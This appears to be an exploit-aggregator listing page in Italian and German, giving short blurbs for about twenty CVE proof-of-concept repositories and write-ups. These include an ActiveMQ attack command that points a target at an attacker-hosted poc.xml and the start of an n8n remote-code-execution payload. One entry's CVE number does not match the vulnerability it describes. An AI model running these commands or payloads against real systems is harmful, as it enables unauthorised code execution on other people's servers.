CVE-2023-45878

Exploit Gibbon CMS CVE-2023-45878 Questo script Python sfrutta CVE-2023-45878, una vulnerabilità di caricamento arbitrario di file non autenticato in Gibbon CMS versioni 25.0.1 e precedenti, che porta all'esecuzione remota di codice RCE. Descrizione della vulnerabilità CVE-2023-45878 esiste...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - RCE autenticata tramite upload di plugin CVE-2025-50286 Grav CMS v1.7.48 con Admin Plugin v1.10.48 è vulnerabile a Remote Code Execution RCE tramite la funzionalità di upload dei plugin "Direct Install", consentendo ad amministratori autenticati di...

Exploits

Dieses Repository enthält eine persönliche Sammlung von Windows-CVEs, die ich in Exploit-Quellcode umgewandelt habe, sowie eine Sammlung von Payloads, die ich zur Verwendung mit diesen Exploits geschrieben habe. Einige dieser CVEs wurden zu Exploit-Ketten für RCE, Sandbox-Escapes und Privilege...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Projekt-Referenz Dieses Projekt ist ein in Python umgeschriebenes exp, basierend auf dem exp des Projekts https://github.com/X1r0z/ActiveMQ-RCE. Verwendung root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Der Parameter -p ist standardmäßig der...

CVE-2025-55182

React2Shell: Walkthrough di CVE-2025-55182 Autore: Kavienan J Vulnerabilità scoperta da: lachlan2k, che l'ha divulgata responsabilmente al team di React. Per aggiornamenti su questa vulnerabilità, visita: react2shell.com Indice 1. Introduzione 2. Contesto 3. Comprendere ReactFlightReplyServer.js ...

CVE-2026-63077

Nicht authentifizierte Remote-Code-Ausführung in JetBrains TeamCity CVE-2026-63077 Übersicht Dies ist ein Proof-of-Concept-Exploit-Skript für CVE-2026-63077. Organisationen können dieses Skript verwenden, um ihre Erkennungs- und Behebungsmaßnahmen zu validieren. Für eine vollständige technische...

CVE-2026-42588

CVE-2026-42588 - Sfruttamento di Esecuzione di Codice Remoto in Apache ActiveMQ Jolokia Gravità : 🔴 Alta CVSS 4.0: 8.1 Tipo di vulnerabilità : CWE-94 — Iniezione di codice Versioni interessate : Apache ActiveMQ Prerequisito di sfruttamento : Credenziali di autenticazione per Web Console predefini...

CVE-2025-69458

CVE-2025-69458 – Movie Rating System 1.0 SQLi a RCE Non Autenticato WriteUp CVE-2025-69458 – ExploitDB 50622...

bluekeep

Descrizione Questo script controlla più indirizzi IP per la vulnerabilità BlueKeep CVE-2019-0708, una vulnerabilità critica del Remote Desktop Protocol RDP presente nelle versioni meno recenti dei sistemi operativi Windows. La vulnerabilità consente agli attaccanti di eseguire codice in remoto su...

CVE-2023-38890

CVE-2023-38890 – WriteUp sull'esecuzione di codice remoto in Online Shopping Portal 3.1 CVE-2023-38890 – ExploitDB 50029...

CVE-2025-68613-poc-via-copilot

✅ CVE-2025-68613 n8n — Analisi completa della vulnerabilità RCE da injection di espressioni Data : 23 dicembre 2024 Stato : ✅ RCE completamente verificata con successo Punteggio CVSS : 10.0 Critico 🎉 Payload RCE di successo root@kitploit: function var require = this.process.mainModule.require; va...

CVE-2020-24572-POC

CVE-2020-24572-POC Un problema è stato scoperto in includes/webconsole.php in RaspAP 2.5. Con accesso autenticato, un attaccante può utilizzare una console web mal configurata e virtualmente senza restrizioni per attaccare il sistema operativo sottostante che esegue questo software ed eseguire...

CVE-2024-51793

Documentazione dello strumento di exploit CVE-2024-51793 📋 Panoramica CVE-2024-51793 è una vulnerabilità di upload arbitrario di file non autenticato nel plugin Computer Repair Shop per WordPress versioni precedenti alla 3.8116. Questa vulnerabilità consente agli aggressori di caricare file...

CVE-2018-20250

exp per Estrarre l'esecuzione di codice da Winrar poc di Ridter come si usa? ti basta installare python 3.7, preparare un file dannoso che vuoi eseguire, impostare i valori che vuoi, questo script exp genererà automaticamente il file di archivio malevolo! 1. imposta i valori che vuoi root@kitploi...

cve-2025-55182

Exploit Python per CVE-2025-55182 Script Python 3 che può essere utilizzato per dimostrare CVE-2025-55182. Sfrutta una vulnerabilità di injection JavaScript lato server nelle applicazioni Next.js/React, consentendo l'esecuzione remota di codice tramite dati di form multipart malformati. ⚠️ Solo pe...

Dead.Letter-CVE-2026-45185

CVE-2026-45185 — Scanner di vulnerabilità Exim "Dead.Letter" Uno script shell per rilevare se un sistema Linux è vulnerabile a CVE-2026-45185, un use-after-free nell'Exim mail transfer agent che può portare all'esecuzione di codice remota. Progettato per l'uso in pipeline CI/CD, strumenti di...

CVE-2021-41773S

Immagini Docker vulnerabili per CVE-2021-41773 path traversal di Apache Questa vulnerabilità si applica solo alla versione 2.4.49 con configurazioni specifiche non predefinite. In determinate situazioni può comportare la lettura di file o l'esecuzione di codice...

ENLBufferPwn

ENLBufferPwn CVE-2022-47949 CVE:| CVE-2022-47949 ---|--- CVSS v3.1:| 9.8/10 Critica Autori:| PabloMK7, Rambo6Glaz, Fishguy6564 Segnalato:| 8 agosto 2021 Mario Kart 7 14 aprile 2022 per i giochi WiiU e Switch interessati Divulgato:| 22 dicembre 2022 Indice dei contenuti Descrizione Dettagli della...

RCE_CVE-2024-7954

RCECVE-2024-7954 Descrizione: Il plugin porteplume utilizzato da SPIP prima delle versioni 4.30-alpha2, 4.2.13 e 4.1.16 è vulnerabile a un'esecuzione di codice arbitrario. Un attaccante remoto e non autenticato può eseguire PHP arbitrario come utente SPIP inviando una richiesta HTTP appositamente...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Implementazione Impacket del PrintNightmare PoC originariamente creato da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente patchato Esegui DLL dannose in remoto o localmente Aggiornamento della patch Microsoft h...